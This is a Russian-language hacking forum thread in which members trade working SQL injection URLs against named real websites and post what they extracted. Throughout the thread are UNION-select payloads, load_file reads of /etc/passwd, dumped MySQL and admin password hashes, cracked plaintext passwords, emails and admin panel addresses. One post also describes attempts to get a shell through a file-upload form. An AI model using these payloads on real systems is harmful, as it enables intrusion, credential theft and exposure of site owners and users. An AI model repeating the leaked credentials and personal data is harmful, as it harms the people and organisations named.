SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    непонял) юмора...
    а зачем ' убрал?
     
  2. А®ТеS

    А®ТеS Active Member

    Joined:
    25 Nov 2006
    Messages:
    199
    Likes Received:
    194
    Reputations:
    41
    2F4R
    http://www.bastion-vlg.ru/ask/?id=1+union+select+1,2,3,4,5,6,7,8,version()--
     
  3. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    67
    Likes Received:
    43
    Reputations:
    0
    мда..ты статейки почитай..
     
    1 person likes this.
  4. ImpLex

    ImpLex Member

    Joined:
    12 Dec 2008
    Messages:
    23
    Likes Received:
    20
    Reputations:
    5
    https://www.myparklane.com/repcart/repcart.php?rep_id=-1+union+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37--
    Читаемс файлы
     
  5. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.localpet.com.mx/en/detalle_lost.php?indice=-1+union+select+1,2,3,4,5,concat_ws(0x3a3a,usuarios_user,usuarios_pass),7,8,9,10+from+usuarios+limit+0,1/*

    Злобный похек ))
     
    1 person likes this.
  6. ImpLex

    ImpLex Member

    Joined:
    12 Dec 2008
    Messages:
    23
    Likes Received:
    20
    Reputations:
    5
    Ну что? Поувedим?
    http://monasticmatrix.usc.edu/cartularium/article.php?textId=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat(version(),0x3a,user(),0x3a3a3a,user,0x3b,password),16,17,load_file(0x2f6574632f706173737764),19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+mysql.user--
    Code:
    4.1.22-standard:root@localhost:::root;2c0172cd64f6a4e5
     
  7. DJ.KilleR

    DJ.KilleR Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    557
    Likes Received:
    297
    Reputations:
    2
    Code:
    http://www.villanoailles-hyeres.com/hyeres22en.php?cat_id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,user(),version(),database()),7,8,9,10,11,12,13,14,15/*
    willy@imu133.infomaniak.ch:5.0.45-log:villanoailles-hyerescom
     
    7 people like this.
  8. F4R

    F4R Banned

    Joined:
    20 Jun 2008
    Messages:
    224
    Likes Received:
    46
    Reputations:
    2
    подскажите что за фигня?
     
  9. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    67
    Likes Received:
    43
    Reputations:
    0
    фигня как фигня..не скуль..
    https://www.bcbookshop.co.uk/nla/book.php?id=-1+union+select+1,2,3,4,5,load_file(%27/etc/passwd%27),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--
    шелл не залить..т.к. стоит на виртуал хосте..((
     
  10. ImpLex

    ImpLex Member

    Joined:
    12 Dec 2008
    Messages:
    23
    Likes Received:
    20
    Reputations:
    5
    Ну как я могу не поддержать тему. Ловите.

    school.su
    Code:
    http://www.school.su/text.phtml?m=-999+union+select+concat_ws(0x3a,version(),user(),database())/*
    ппц на школы потянуло...
    ____________________________
    drc.academic-staff.wisc.edu
    Code:
    http://drc.academic-staff.wisc.edu/faq/faq_answers.php?question_id=0+union+select+concat(user,0x3a,password),2,3+from+mysql.user/*
    ____________________________
    gps-profi.ru pr-5 Тиц-190 ух что я нашел
    хочу админить форумом
    Code:
    http://www.gps-profi.ru/garmin_carry.php?id=-28+union+select+1,concat(username,0x3a,user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58+from+phpbb_users+limit+1,1--
    admin:0295af933b3aaed46b76727b6d79f4b2-93457456
    Code:
    http://gps-profi.ru/forum/admin
    хочу админить сайтом
    Code:
    http://www.gps-profi.ru/garmin_carry.php?id=-28+union+select+1,concat(password,0x3a,login),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58+from+admin--
    admin:93457456
    Code:
    http://www.gps-profi.ru/admin/ 
    авторизация, вроде как не из бд... Но пароль подходит(админ ставит одни и теже пароли)
    u36635@10.10.10.223:5.0.67-log
    _____________________
    nigatrade.biz
    Code:
    http://nigatrade.biz/realty/zakaz.php?id=-1+union+select+1,2,3,4,concat(name,0x3a,pwd),6,7,8,9,10,11,12+FROM+admins+limit+1,1--
    root:74b32d175f2101ba6e831478f32b85d8-[COLOR=Red]johnniko[/COLOR]
    Code:
    http://nigatrade.biz/admin/
    _____________________
    seo.kharkov.ua
    Code:
    http://seo.kharkov.ua/artikle.php?id=-1+union+select+1,2,concat(nick,0x3a,passwd),4,5,6,7+FROM+users--
    admin:837a1b504eff2161d14187f1fd52d3b7
    _____________________
    kiirus.ee pr-3
    Code:
    http://www.kiirus.ee/php/index.php?lang=rus&id=-6+union+select+1,concat(name_admin,0x3a,pass_admin),3,4,5,6+from+admin--
    Need4speed08:d2357411549940e64b552c99e78a1035-393_AZE
    Code:
    http://www.kiirus.ee/php/admin/
    Как-то так = ) давайте ...держим тему
     
  11. dr.Pilulkin

    dr.Pilulkin Elder - Старейшина

    Joined:
    3 Jun 2007
    Messages:
    42
    Likes Received:
    16
    Reputations:
    0
    h__p://www.pdaplaza.com/shop.php?catid=18&id=-737+union+select+1,2,3,4,5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--

    pdaplaza_pda@localhost
    4.1.22-standard

    Table [admins]
    admin_email
    admin_id
    admin_pwd
    admin_name
    admin_uid

    Возможно есть другие колонки

    Phillip:5e6cbfce52f55b0b3065b6806a7d5d41:info@pdaplaza.com
    supervisor:d943b780e979b19baa64c243d26669b1:info@pdaplaza.com
    Kovacs Robert:19640501:kovacs@pdaplaza.com

    5e6cbfce52f55b0b3065b6806a7d5d41:partisan08

    админка хз где
     
    1 person likes this.
  12. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    67
    Likes Received:
    43
    Reputations:
    0
    http://www.pinnacleproactive.co.uk/resources/events/book.php?Id=-1+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12+from+admin--
    http://www.pinnacleproactive.co.uk/edit/
    PR: 3
    ----------------
    http://www.ciritas.ru/product.php?id=-1+union+select+1,2,concat_ws(char(32,45,32),version(),user(),database()),4,5,6,7,8,9--
    4.1.22-log - ciritas5_website@localhost - ciritas5_ciritas
    ------------------------
    http://www.domkino.spb.ru/description.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,unhex(hex(group_concat(login,0x3a,password,0x3a,total_score))),11,12+from+user--
    -----------------
     
  13. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,588
    Likes Received:
    406
    Reputations:
    196
    Поздравьте меня - моя первая самостоятельная скуля))

    Французики.

    http://www.isep.fr/histelcon/public/page.php?nump=-16+union+select+concat_ws(0x3a,database(),user(),version())/*

    histel histel@localhost 5.0.32-Debian_7etch6-log

    http://www.isep.fr/histelcon/public/page.php?nump=-16+union+select+concat_ws(0x3a,login,pass)+from+histel.users+limit+0,1/*

    admin:2008histel логин и пасс от админки
    http://www.isep.fr/histelcon/admin/

    они же подходят и к phpmyadmin - http://www.isep.fr/phpmyadmin

    Увы, на этом всё обрывается, файловых привилегий нет, а админка весьма скудная в средствах. Есть только простенькая форма аплоада http://www.isep.fr/histelcon//admin/envoyer_fichier.php, но как я не бился, заставить принимать файлы с расширениями, отличными от pdf, doc и ppt , не удалось.. нулевой байт не проходит и прочие фишки...
    Причем при аплоаде проверка идет только по расширению, не по типу файлов...
     
    2 people like this.
  14. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    288
    Likes Received:
    402
    Reputations:
    159
    Есть сайты с нормальным PR, а некоторые просто "г**но-сайты"...
     
    1 person likes this.
  15. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    411
    Likes Received:
    141
    Reputations:
    6
    Вот от меня
    PR 4
    сайт: www.sbbs.ru
    уязвисомть:
    Code:
    http://www.sbbs.ru/news/index.php?id=999999999999999999+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13/*
    
    Code:
    user(ivolgaru_news@localhost)
    version(4.1.22-lk-log)
    database(ivolgaru_news)
    
    PR 4
    сайт: http://globus.mp21.ru
    уязвисомть:
    Code:
    http://globus.mp21.ru/topics.php?ID=99999999999999+union+select+1,version(),3,4,5,6,7,8,9/*
    
    Code:
    user(mp21ru_globus@localhost)
    version(4.1.22-standard)
    database(mp21ru_globus)
    
    RP 0
    сайт: http://www.interp.ru/
    уязвисомть:
    Code:
    http://www.interp.ru/index.php?id=-3+union+select+1,2,3,4,5,6,7,version(),9,10/*
    
    Code:
    user(interp@localhost)
    version(4.1.22-log)
    database(wwwinterpru)
    
    RP 4
    сайт: http://ecom-info.spb.ru/
    уязвисомть:
    Code:
    http://ecom-info.spb.ru/monitoring/print.php?id=-208+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,version(),15,16,17,18,19,20,21,22,23,24,25,26--
    
    Code:
    user(u9116@10.10.223.234)
    version(5.0.24a)
    database(u9116_2)
    
    RP 5
    сайт: http://www.omskdrama.ru
    уязвисомть:
    Code:
    http://www.omskdrama.ru/wwwroot/index.php?gid=-104+union+select+1,2,version(),4,5,6,7/*
    
    Code:
    user(drama@localhost)
    version(4.1.22)
    database(drama)
    
    PS Вся жизнь театр ,а люди в нем актеры )

    RP 4
    сайт: http://www.allaces.ru/
    уязвисомть:
    Code:
    http://www.allaces.ru/p/episode.php?id=-444+union+select+1,2,3,4,version()--
    
    Code:
    user(ecom@localhost)
    version(5.0.67-log)
    database(ecom)
    
    RP 4
    сайт: http://www.genoterra.ru/
    уязвисомть:
    Code:
    http://www.genoterra.ru/news/comment.php?id=-938+union+select+1,2,3,4,5,6,7,8,version(),10,11,12/*
    
    Code:
    user(genoterra@localhost)
    version(4.1.21-standard-log)
    database(genoterra)
    
     
    #7055 satana8920, 15 Dec 2008
    Last edited: 15 Dec 2008
    1 person likes this.
  16. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Фанатам Диабло старкрафта варкрафта.....

    http://strategy.diabloii.net/searchcat.php?cid=36+union+select+1,version(),3,user(),database(),6,7/*

    Database Version: 5.0.42-log
    Database name: stratd2
    User name: d2strategy@localhost

    С мускула логины и пароли

    root *CD3F739E436C54FDC8B2D2F844C223817ACC2118
    starcraftwire *1EA1E1C7B33A1318B8FFDF44C89E34E2B43418DA
    d2strategy *DC960B6A83F5D1D7738DB7B4C80DABA9F5702647
    blizzpages *1FA34052F3B051E4323ADFD5EDA04CF183F3A79E
    aocforums *7574F9535B810D513B4C9C2F8C33EF0B6BEDC98B
    aocgallery *1A336A2F564A40CF1348ACB80627E95259B3B549
    aocring *60F70737C92FA05993090552F9750EA92E5805DB
    starcraftwiki *91D00EE01412A5447CAD8BD8443949557FB00E30
    starcraft-2763 *23CB9564F4A8C2818F6C6EFFBD5018B170236F8D

    В общем там несколько замечательных хоста....)

    А теперь закончим начатое.
    Довольно крупное диз агенство пароли так и не подобрал

    http://www.marotori.com/news.php?id=2+union+select+1,2,3,concat_ws(0x3a3a,user_id,user_name,user_password,user_email),5,6+from+users--

    MD5(UNIX)
    root::$1$K6ORGtcZ$wQuds2xEEzYFc7BnHHgel0
    admin::$1$6DUI484h$0cQV5wcSIVoXH5q5k8mTe.


    Ну и попроще :

    http://www.replocate.com/category.php?id=-8+union+select+concat_ws(0x3a3a,version(),user(),database())/*

    version: Industry: 5.0.45-log
    user: rl-user@10.0.0.2
    database: replocate

    http://www.nsgroupllc.com/news.php?id=-11+union+select+1,2,concat_ws(0x3a3a,version(),user(),database())/*

    version: 5.0.32-Debian_7etch8-log
    user: nsg_read_only@localhost
    database: nsg

    http://www.lo-cal.com/eventinfo.php?event_ID=266+union+select+version(),user(),3,4,5,6,7,8,9,10,database(),12,13+limit+1,1/*

    version: 4.1.22-standard
    user: localftp_localmu@localhost
    database: localftp_localmusic

    http://mutualideas.com/projects.php?id=-47+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9--

    version:5.0.32-Debian_7etch1-log
    user:mysql2908@localhost
    database:db2908_mutual04


    http://www.parsiteb.com/combinational.php?table=combinational&id=-19+union+select+1,version(),3,4,user(),database(),7,8,9,10,11,12,13--&action=viewFullContent

    version: 5.0.45-community
    user: parsiteb_parsite@localhost
    database: parsiteb_parsitebdatabase
     
    2 people like this.
  17. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.havanaclub.cz/boutique/?act=8&pid=-1+union+select+1,2,concat_ws(0x3a3a,login,passwd),4,5,6,7,8,9,10+from+admin_users+limit+0,1/*

    login: david
    pass:david

    ЛОЛ
     
  18. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Все срочно идём в магазин за Катанами и всякой такой китайской штукой -) или японской не силён в этом -)

    http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,concat_ws(0x3a3a,version(),user(),database())/*

    Database Version: 5.0.45
    Database name: kitanaru
    User name: kitanaru@localhost

    Таблица personal

    id:login:psw:type:fio:email

    2:ANDR:dbe679f999e91a255b5b4ecb9303f888:1:Горячев:adm@kitana.ru password:CJRJKJDF
    3:777:c7411e168031e804e9f35fbc362ef87c:2:Евгений Васильевич:eek:pt@berbut.ru password:: 1G0
    5:OLEG:3767d0c6335a92c2364dca739c3b0c23:1:Цыбульский Олег:eek:leg@kitana.ru password: XTHYJD
     
    1 person likes this.
  19. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Ну и на сегодня последнее поразвлекаться в игрушки ......

    http://www.novelgames.com/flashgames/category.php?id=11+union+select+1,2,3,4,concat_ws(0x3a3a,version(),user(),database()),6,7,8--

    version: 4.1.10-log
    user : novelgames@localhost
    database:novelgames

    Далее достаём всё сами я чисто админчеГа поднял и норма *)
    Пароли в открытом виде.Сделали нам одолжения *)

    http://www.novelgames.com/flashgames/category.php?id=11+union+select+1,2,3,4,concat_ws(0x3a3a,id,name,password,email),6,7,8+from+players+limit+9,1--

    1 :: Peter Lee :: boul3lam :: peter@novelgames.com

    Всё спокойной ночи вам!
     
  20. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    67
    Likes Received:
    43
    Reputations:
    0
    http://faceup.ie/article/index.php?ID=-1+union+select+1,2,3,4,5,concat_ws(0x3a,ID,username,password,level),7,8,9,10,11,12+from+tbl_adminarea--
    http://faceup.ie/admin
    403 error нет доступа(
     
Loading...
Thread Status:
Not open for further replies.